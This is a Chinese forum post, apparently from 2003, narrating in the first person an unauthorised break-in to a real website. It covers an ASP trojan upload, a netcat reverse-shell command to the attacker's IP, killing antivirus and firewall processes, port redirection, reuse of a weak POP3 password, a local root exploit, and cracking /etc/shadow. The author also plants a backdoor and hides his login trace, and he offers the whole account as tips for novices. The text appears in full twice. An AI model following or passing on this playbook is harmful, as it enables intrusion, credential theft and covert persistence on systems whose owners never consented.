编者按:自从网络出现以来,网管和“黑客”之间一直存在着一场永远不会结束的战斗——防范和入侵。当然这场战斗还会一直延续下去,不管是网管,还是“黑客”,都有必要了解彼此的手法,然后寻找对方的弱点,予以致命的一击。
一天闲着无聊,逛到了一个网站,不知道为什么,突然对他的安全有点兴趣(有些东西不知道为什么那么吸引人)。由于这个网站是国内的,为了安全,我还是上了国外的跳板,我用的是sockscap,感觉比较好用,还不用登陆肉鸡(呵呵……做一下宣传!当然前提是把你的肉鸡的漏洞补上)。然后对他进行了一次常规入侵。先对几个重要的服务进行扫描,发现竟然存在frontpage扩展默认权限漏洞,看来应该能拿到Guest权限了,用frontpage打开站点,填入***.***.***.***(对方IP),打开,这样对方的web目录就在眼前了,随后把ASP木马复制过去,这样就上传了一个ASP木马(毕竟一般情况下不会查杀),搞到了一个webshell。紧接着,激烈的战斗开始了:
思路:已经得到了webshell,尝试使用普通方法(比较常用的方法)入侵。
通过一些比较常用的方法,如上传idq.dll等,失败后,放弃了直接溢出拿到admin的想法。紧接着上传了一个winshell,想开了一个user权限的shell。结果运行后,还是连接不上,用webshell执行netstat –an一看,端口确实是开了,再用net start一看,果然有防火墙。郁闷。对了,刚才不是看到了一个1433嘛,那就是说安装了MSSQL,而他的网站是ASP+SQL架设的,那就有希望拿到他的MSSQL密码。
思路:寻找有利用价值的文件,如数据库连接文件等。
开始浏览他的网站文件,注意一些文件名:*.asa,conn.asp等,在根目录发现了这个文件:(如图1)
[upload=jpg]UploadFile/2003113113424.jpg[/upload]
大家都知道global.asa一般都有SQL的用户名和密码!结果打开一看:(如图2)
[upload=jpg]UploadFile/200311311359.jpg[/upload]
%$^&^%#&^^$$%……没把我给气死,竟然加了密!从第一句判断,应该是用VB中的函数加的密,哎!VB没学过,只懂一点儿,对它的函数不太清楚!算了,看看别的文件,找到了这个(如图3)
[upload=jpg]UploadFile/2003113113553.jpg[/upload]
ADFunction.asp和DB_CONN.ASP,大家应该是知道是干什么用的吧!如果看过ASP书的话应该知道ADFunction.asp是一个数据库连接的文件(书中一般都这么用),而DB_CONN.ASP从文件名看也应该是数据库连接文件(免费代码,比如bbs,留言版等是用conn.asp),所以有必要看看这两个文件内容,如图4
[upload=jpg]UploadFile/2003113113637.jpg[/upload]
晕,又是加密的,虽然什么都看不到,不过肯定了一点:网管应该是把所有ASP代码加密了。所以也不用废时间去找其他的这类文件。
思路:既然代码被加密了,而且暂时又没有其他办法,所以需要解密,寻找数据库连接文件中的数据库密码。
既然他能加密,那我们就给它解密,当然需要拿出AspDecoder拉!顺便说一下:AspDecoder是asp编码/反编码工具,可以对*.asp;*.js;*.vbs;*.asa;*.inc;*.sf等文件加解密。把上面加了密的代码存下来,然后解码(提醒大家一下:如果有些代码仍然是加密的,那就多按几次解密就可以了),如图5
[upload=jpg]UploadFile/2003113113726.jpg[/upload]
先看了一下ADFunction.asp,没有什么收获,然后看看global.asa得到了上面内容(好象是一段记录在线人数的代码),很明显,MSSQL用户名SA,密码为空!(而下面那行的UID=webmaster:PWD=virus是数据库文件的用户名和密码)。都是防火墙害的,竟然扫不到1433端口和这个空密码!等等,既然扫不到,那么我用sqlexec能连上吗?试了之后,果然连不上!还有那个virus有可能是某个管理员的密码!
思路:对方开了telnet端口,可以尝试猜用户名。
既然他开了23端口,那我就一个一个试,反正管理员和普通用户就那么几个(在webshell中用net localgroup administrators和net user得到),结果telnet上去后,我就晕了,竟然是linux,如图6
[upload=jpg]UploadFile/2003113113818.jpg[/upload]
怎么会这样?80端口明明显示iis,应该是winnt或者win2000啊,怎么现在是linux啦!先不管他,到网上找了一些针对redhat 7.2的远程溢出程序,用cygwin中的gcc编译,而且试了一下远程溢出,最终以失败告终。还是返回到webshell吧,现在只能依靠这个了。
思路:既然他不让我连接,那就让他来连接我,用nc来实现反向连接。
上传一个nc,然后在本机执行nc –l –p port,如图7
[upload=jpg]UploadFile/2003113113858.jpg[/upload]
然后用webshell执行nc –e d:\winnt\system32\cmd.exe yourip yourport,如图8
[upload=jpg]UploadFile/2003113114021.jpg[/upload]
执行完后,我的nc没有反应,失败,不会又是被防火墙挡住了吧?如果是的话,那他的防火墙很强啊!
思路:既然所有的一切都是那个防火墙搞的鬼,我们想办法干掉他!
防火墙啊,防火墙!你狠,那我就比你更狠!还好microsoft总是为我们着想,怕我们不能杀掉那些级别比较高的进程,所以为我们提供了tlist和kill,那我们就不客气了。把这两个文件通过web上传(我用的是pulist,跟tlist效果一样),如图9
[upload=jpg]UploadFile/2003113114150.jpg[/upload]
上传后用pulist看一下当前的进程,如图10
[upload=jpg]UploadFile/2003113114238.jpg[/upload]
这个应该是瑞星的进程,还有他下面那个进程也有点可疑!使用kill把这两个杀死!用法:kill pid,如图11,12
[upload=jpg]UploadFile/2003113114251.jpg[/upload]
[upload=jpg]UploadFile/200311311434.jpg[/upload]
现在的软件防火墙应该被我们干掉了。看一下现在的进程,确认一下。如图13
[upload=jpg]UploadFile/200311311467.jpg[/upload]
已经确认那两个进程已经杀掉,再使用上面的方法试试,结果更另我郁闷:还是不行,而且没有扫到比原来多的端口。应该是做了其他的防范措施。希望不是做了端口过滤,那会令人很郁闷的。不过这种可能性非常大(当然还有其他的情况,如通过路由,不过我应该没那么倒霉吧)!!
思路:现在能用的方法都差不多了,还有什么?对了,端口重定向。用sqlexec连接本地1433,然后通过转发,发送到目标主机的3572端口,然后再转发到目标主机的1433端口。
既然什么方法都不行,那就用端口重定向来把其他能访问的端口80或者23的请求连接到winshell的端口。上传一个fpipe(我觉得比较好用),写个批处理,然后执行(也可以直接执行),如图14
[upload=jpg]UploadFile/200311311478.jpg[/upload]
注意:FPIPE端口重定向时,所要监听的端口不能是已经被占用的,否则无效(图中为对方IP)。
然后在本机用fpipe –l 1433 –s 1433 –r 3572 remoteaddress,如图15
[upload=jpg]UploadFile/2003113114736.jpg[/upload]
然后用SQLExec连接本地,用户名:SA密码:NULL。
#@!#$%$^&#……竟然也不行,看来是做了端口过滤或其他原因(如重定向),真是气死人了。看来这条路是行不通了,看看还有没有其他能直接拿到权限的方法。(可以通过放置木马,不过那需要等几天、甚至几个星期)
思路:对方开了25和110,详细扫描这两个端口。找详细资料。
用流光扫了一下pop3和smtp,结果差点让我去自杀。扫到一个pop3的用户名test和弱密码。
思路:有些人可能觉得得到这些也只能看看别人的信,其实不然。很多人都喜欢在telnet和pop3中使用同一个用户名和密码(人是最懒惰的),在23端口尝试登陆。尝试获取密码文件。
使用刚扫到的用户名和密码通过telnet登陆。如图16
[upload=jpg]UploadFile/2003113114843.jpg[/upload]
哈哈,已经迈出了成功的第一步,现在已经有了一个user级的shell了。然后当然是那密码文件拉,命令cat /etc/passwd,如图17
[upload=jpg]UploadFile/2003113114925.jpg[/upload]
果然是shadow过的,尝试cat /etc/shadow,权限不够,那是当然的了。现在至少拿到了他的用户名,也算有点收获。试了一个gcc,结果是no input files,这么说就是有gcc了,那就好说了。
思路:有了shell,而且可以使用gcc,尝试本地溢出。
先用uname –a看一下系统的详细版本,如图18
[upload=jpg]UploadFile/2003113115012.jpg[/upload]
现在知道了是kernel 2.4.7 RedHat Linux release 7.2了,马上跑到www.hack.co.za找exploit,这一找才发现,原来redhat 7.2的漏洞很少,只有几个exploit(而且有一半是ddos的)。用cat>kmod.c写一个文件kmod.c,然后用gcc编译,然后执行,如图19
[upload=jpg]UploadFile/200311311515.jpg[/upload]
哈哈,出现’#’了,现在我就是root了。
思路:现在已经是root了,拿shadow,然后破解。
用cat /etc/shadow,如图20
[upload=jpg]UploadFile/2003113115154.jpg[/upload]
然后把shadow内容保存成.txt,然后用john跑拉。如图21
[upload=jpg]UploadFile/2003113115216.jpg[/upload]
呵呵,现在已经成功了,留个后门就撤吧!走的时候先telnet localhost,然后又登陆了一次(这样防止下次真正的用户登陆的时候,显示上次登陆的ip,虽然使用了跳板,还是小心为妙),然后退了出来。
对于那个webshell,由于做了端口过滤,也可能是其他问题(后面将会提到),即使得到管理员用户名和密码,也不好突破。在这里只说一下一般思路(不能立即拿到权限):就是找个批处理文件,然后写上几句就行了,或者放木马,随你,但是这都需要时间去等对方重启或者执行文件。(在文章写完后,出现了sqlrootkit,应该可以拿到管理员帐号,但是想要进去,还要花费点心思才行)
在土豆和雪莲蓬帮帮助下,分析了一下目标机器所在的网络拓扑情况。由于在80端口看到的是Win2000,在23端口看到的上redhat linux,那么到底是怎么回事呢?最开始想到的是虚拟机,但是马上排除了,因为如果其中一个系统是虚拟的话,虚拟的系统是没有公网ip的,所以外网也就不能访问到内部的虚拟系统上的服务。经过分析,这两个系统分别在两台机器上运行,但是其中的关系就是我们所要讨论的,主要可以分为三种:
1、三方设备
1个路由器,1台Linux,1台Win2000
路由器把23端口的请求转发到linux,把80端口的请求转发到Win2000;
2、两方设备
1台Linux做软路由,具有公网IP,把80端口的请求转发到Win2000
1台Win2000,只有内部IP,
3、两方设备
1台Win2000做软路由,具有公网IP,把80端口的请求转发到Win2000
1台Linux,只有内部IP,
为了分辨出到底是那中网络拓扑,分析以下几幅图:
[upload=jpg]UploadFile/2003113115314.jpg[/upload]
[upload=jpg]UploadFile/2003113115328.jpg[/upload]
[upload=jpg]UploadFile/2003113115341.jpg[/upload]
在第一幅图中可以看到Win2000的机器有两块网卡,IP地址是192.34.57.61。在第二幅图中还可以看到有个ip是192.34.57.61,网关是10.40.77.1;在Win2000的另一块网卡上是10.40.77.9,网关是10.40.77.1;在第三幅图中可以看出Linux的IP是10.40.77.5看来Linux和Win2000都不是路由,为了在确认一下,在Win2000上使用netstat –an可以看到:
[upload=jpg]UploadFile/2003113115553.jpg[/upload]
这么说就应该是我们所讨论的第一中情况了,所以说即使你拿到win2000的admin,好象也不太容易进去。
总结:这次入侵所尝试的方法比较多,如反向连接、端口重定向等,都是不被人重视的方法,但是这种方法的实用性很强。对于一些菜鸟可以提供一些好的思路,希望大家不要做坏事,好了,就到这里。
[此贴子已经被作者于2003-11-3 12:15:58编辑过]
编者按:自从网络出现以来,网管和“黑客”之间一直存在着一场永远不会结束的战斗——防范和入侵。当然这场战斗还会一直延续下去,不管是网管,还是“黑客”,都有必要了解彼此的手法,然后寻找对方的弱点,予以致命的一击。
一天闲着无聊,逛到了一个网站,不知道为什么,突然对他的安全有点兴趣(有些东西不知道为什么那么吸引人)。由于这个网站是国内的,为了安全,我还是上了国外的跳板,我用的是sockscap,感觉比较好用,还不用登陆肉鸡(呵呵……做一下宣传!当然前提是把你的肉鸡的漏洞补上)。然后对他进行了一次常规入侵。先对几个重要的服务进行扫描,发现竟然存在frontpage扩展默认权限漏洞,看来应该能拿到Guest权限了,用frontpage打开站点,填入***.***.***.***(对方IP),打开,这样对方的web目录就在眼前了,随后把ASP木马复制过去,这样就上传了一个ASP木马(毕竟一般情况下不会查杀),搞到了一个webshell。紧接着,激烈的战斗开始了:
思路:已经得到了webshell,尝试使用普通方法(比较常用的方法)入侵。
通过一些比较常用的方法,如上传idq.dll等,失败后,放弃了直接溢出拿到admin的想法。紧接着上传了一个winshell,想开了一个user权限的shell。结果运行后,还是连接不上,用webshell执行netstat –an一看,端口确实是开了,再用net start一看,果然有防火墙。郁闷。对了,刚才不是看到了一个1433嘛,那就是说安装了MSSQL,而他的网站是ASP+SQL架设的,那就有希望拿到他的MSSQL密码。
思路:寻找有利用价值的文件,如数据库连接文件等。
开始浏览他的网站文件,注意一些文件名:*.asa,conn.asp等,在根目录发现了这个文件:(如图1)
[upload=jpg]UploadFile/2003113113424.jpg[/upload]
大家都知道global.asa一般都有SQL的用户名和密码!结果打开一看:(如图2)
[upload=jpg]UploadFile/200311311359.jpg[/upload]
%$^&^%#&^^$$%……没把我给气死,竟然加了密!从第一句判断,应该是用VB中的函数加的密,哎!VB没学过,只懂一点儿,对它的函数不太清楚!算了,看看别的文件,找到了这个(如图3)
[upload=jpg]UploadFile/2003113113553.jpg[/upload]
ADFunction.asp和DB_CONN.ASP,大家应该是知道是干什么用的吧!如果看过ASP书的话应该知道ADFunction.asp是一个数据库连接的文件(书中一般都这么用),而DB_CONN.ASP从文件名看也应该是数据库连接文件(免费代码,比如bbs,留言版等是用conn.asp),所以有必要看看这两个文件内容,如图4
[upload=jpg]UploadFile/2003113113637.jpg[/upload]
晕,又是加密的,虽然什么都看不到,不过肯定了一点:网管应该是把所有ASP代码加密了。所以也不用废时间去找其他的这类文件。
思路:既然代码被加密了,而且暂时又没有其他办法,所以需要解密,寻找数据库连接文件中的数据库密码。
既然他能加密,那我们就给它解密,当然需要拿出AspDecoder拉!顺便说一下:AspDecoder是asp编码/反编码工具,可以对*.asp;*.js;*.vbs;*.asa;*.inc;*.sf等文件加解密。把上面加了密的代码存下来,然后解码(提醒大家一下:如果有些代码仍然是加密的,那就多按几次解密就可以了),如图5
[upload=jpg]UploadFile/2003113113726.jpg[/upload]
先看了一下ADFunction.asp,没有什么收获,然后看看global.asa得到了上面内容(好象是一段记录在线人数的代码),很明显,MSSQL用户名SA,密码为空!(而下面那行的UID=webmaster:PWD=virus是数据库文件的用户名和密码)。都是防火墙害的,竟然扫不到1433端口和这个空密码!等等,既然扫不到,那么我用sqlexec能连上吗?试了之后,果然连不上!还有那个virus有可能是某个管理员的密码!
思路:对方开了telnet端口,可以尝试猜用户名。
既然他开了23端口,那我就一个一个试,反正管理员和普通用户就那么几个(在webshell中用net localgroup administrators和net user得到),结果telnet上去后,我就晕了,竟然是linux,如图6
[upload=jpg]UploadFile/2003113113818.jpg[/upload]
怎么会这样?80端口明明显示iis,应该是winnt或者win2000啊,怎么现在是linux啦!先不管他,到网上找了一些针对redhat 7.2的远程溢出程序,用cygwin中的gcc编译,而且试了一下远程溢出,最终以失败告终。还是返回到webshell吧,现在只能依靠这个了。
思路:既然他不让我连接,那就让他来连接我,用nc来实现反向连接。
上传一个nc,然后在本机执行nc –l –p port,如图7
[upload=jpg]UploadFile/2003113113858.jpg[/upload]
然后用webshell执行nc –e d:\winnt\system32\cmd.exe yourip yourport,如图8
[upload=jpg]UploadFile/2003113114021.jpg[/upload]
执行完后,我的nc没有反应,失败,不会又是被防火墙挡住了吧?如果是的话,那他的防火墙很强啊!
思路:既然所有的一切都是那个防火墙搞的鬼,我们想办法干掉他!
防火墙啊,防火墙!你狠,那我就比你更狠!还好microsoft总是为我们着想,怕我们不能杀掉那些级别比较高的进程,所以为我们提供了tlist和kill,那我们就不客气了。把这两个文件通过web上传(我用的是pulist,跟tlist效果一样),如图9
[upload=jpg]UploadFile/2003113114150.jpg[/upload]
上传后用pulist看一下当前的进程,如图10
[upload=jpg]UploadFile/2003113114238.jpg[/upload]
这个应该是瑞星的进程,还有他下面那个进程也有点可疑!使用kill把这两个杀死!用法:kill pid,如图11,12
[upload=jpg]UploadFile/2003113114251.jpg[/upload]
[upload=jpg]UploadFile/200311311434.jpg[/upload]
现在的软件防火墙应该被我们干掉了。看一下现在的进程,确认一下。如图13
[upload=jpg]UploadFile/200311311467.jpg[/upload]
已经确认那两个进程已经杀掉,再使用上面的方法试试,结果更另我郁闷:还是不行,而且没有扫到比原来多的端口。应该是做了其他的防范措施。希望不是做了端口过滤,那会令人很郁闷的。不过这种可能性非常大(当然还有其他的情况,如通过路由,不过我应该没那么倒霉吧)!!
思路:现在能用的方法都差不多了,还有什么?对了,端口重定向。用sqlexec连接本地1433,然后通过转发,发送到目标主机的3572端口,然后再转发到目标主机的1433端口。
既然什么方法都不行,那就用端口重定向来把其他能访问的端口80或者23的请求连接到winshell的端口。上传一个fpipe(我觉得比较好用),写个批处理,然后执行(也可以直接执行),如图14
[upload=jpg]UploadFile/200311311478.jpg[/upload]
注意:FPIPE端口重定向时,所要监听的端口不能是已经被占用的,否则无效(图中为对方IP)。
然后在本机用fpipe –l 1433 –s 1433 –r 3572 remoteaddress,如图15
[upload=jpg]UploadFile/2003113114736.jpg[/upload]
然后用SQLExec连接本地,用户名:SA密码:NULL。
#@!#$%$^&#……竟然也不行,看来是做了端口过滤或其他原因(如重定向),真是气死人了。看来这条路是行不通了,看看还有没有其他能直接拿到权限的方法。(可以通过放置木马,不过那需要等几天、甚至几个星期)
思路:对方开了25和110,详细扫描这两个端口。找详细资料。
用流光扫了一下pop3和smtp,结果差点让我去自杀。扫到一个pop3的用户名test和弱密码。
思路:有些人可能觉得得到这些也只能看看别人的信,其实不然。很多人都喜欢在telnet和pop3中使用同一个用户名和密码(人是最懒惰的),在23端口尝试登陆。尝试获取密码文件。
使用刚扫到的用户名和密码通过telnet登陆。如图16
[upload=jpg]UploadFile/2003113114843.jpg[/upload]
哈哈,已经迈出了成功的第一步,现在已经有了一个user级的shell了。然后当然是那密码文件拉,命令cat /etc/passwd,如图17
[upload=jpg]UploadFile/2003113114925.jpg[/upload]
果然是shadow过的,尝试cat /etc/shadow,权限不够,那是当然的了。现在至少拿到了他的用户名,也算有点收获。试了一个gcc,结果是no input files,这么说就是有gcc了,那就好说了。
思路:有了shell,而且可以使用gcc,尝试本地溢出。
先用uname –a看一下系统的详细版本,如图18
[upload=jpg]UploadFile/2003113115012.jpg[/upload]
现在知道了是kernel 2.4.7 RedHat Linux release 7.2了,马上跑到www.hack.co.za找exploit,这一找才发现,原来redhat 7.2的漏洞很少,只有几个exploit(而且有一半是ddos的)。用cat>kmod.c写一个文件kmod.c,然后用gcc编译,然后执行,如图19
[upload=jpg]UploadFile/200311311515.jpg[/upload]
哈哈,出现’#’了,现在我就是root了。
思路:现在已经是root了,拿shadow,然后破解。
用cat /etc/shadow,如图20
[upload=jpg]UploadFile/2003113115154.jpg[/upload]
然后把shadow内容保存成.txt,然后用john跑拉。如图21
[upload=jpg]UploadFile/2003113115216.jpg[/upload]
呵呵,现在已经成功了,留个后门就撤吧!走的时候先telnet localhost,然后又登陆了一次(这样防止下次真正的用户登陆的时候,显示上次登陆的ip,虽然使用了跳板,还是小心为妙),然后退了出来。
对于那个webshell,由于做了端口过滤,也可能是其他问题(后面将会提到),即使得到管理员用户名和密码,也不好突破。在这里只说一下一般思路(不能立即拿到权限):就是找个批处理文件,然后写上几句就行了,或者放木马,随你,但是这都需要时间去等对方重启或者执行文件。(在文章写完后,出现了sqlrootkit,应该可以拿到管理员帐号,但是想要进去,还要花费点心思才行)
在土豆和雪莲蓬帮帮助下,分析了一下目标机器所在的网络拓扑情况。由于在80端口看到的是Win2000,在23端口看到的上redhat linux,那么到底是怎么回事呢?最开始想到的是虚拟机,但是马上排除了,因为如果其中一个系统是虚拟的话,虚拟的系统是没有公网ip的,所以外网也就不能访问到内部的虚拟系统上的服务。经过分析,这两个系统分别在两台机器上运行,但是其中的关系就是我们所要讨论的,主要可以分为三种:
1、三方设备
1个路由器,1台Linux,1台Win2000
路由器把23端口的请求转发到linux,把80端口的请求转发到Win2000;
2、两方设备
1台Linux做软路由,具有公网IP,把80端口的请求转发到Win2000
1台Win2000,只有内部IP,
3、两方设备
1台Win2000做软路由,具有公网IP,把80端口的请求转发到Win2000
1台Linux,只有内部IP,
为了分辨出到底是那中网络拓扑,分析以下几幅图:
[upload=jpg]UploadFile/2003113115314.jpg[/upload]
[upload=jpg]UploadFile/2003113115328.jpg[/upload]
[upload=jpg]UploadFile/2003113115341.jpg[/upload]
在第一幅图中可以看到Win2000的机器有两块网卡,IP地址是192.34.57.61。在第二幅图中还可以看到有个ip是192.34.57.61,网关是10.40.77.1;在Win2000的另一块网卡上是10.40.77.9,网关是10.40.77.1;在第三幅图中可以看出Linux的IP是10.40.77.5看来Linux和Win2000都不是路由,为了在确认一下,在Win2000上使用netstat –an可以看到:
[upload=jpg]UploadFile/2003113115553.jpg[/upload]
这么说就应该是我们所讨论的第一中情况了,所以说即使你拿到win2000的admin,好象也不太容易进去。
总结:这次入侵所尝试的方法比较多,如反向连接、端口重定向等,都是不被人重视的方法,但是这种方法的实用性很强。对于一些菜鸟可以提供一些好的思路,希望大家不要做坏事,好了,就到这里。
|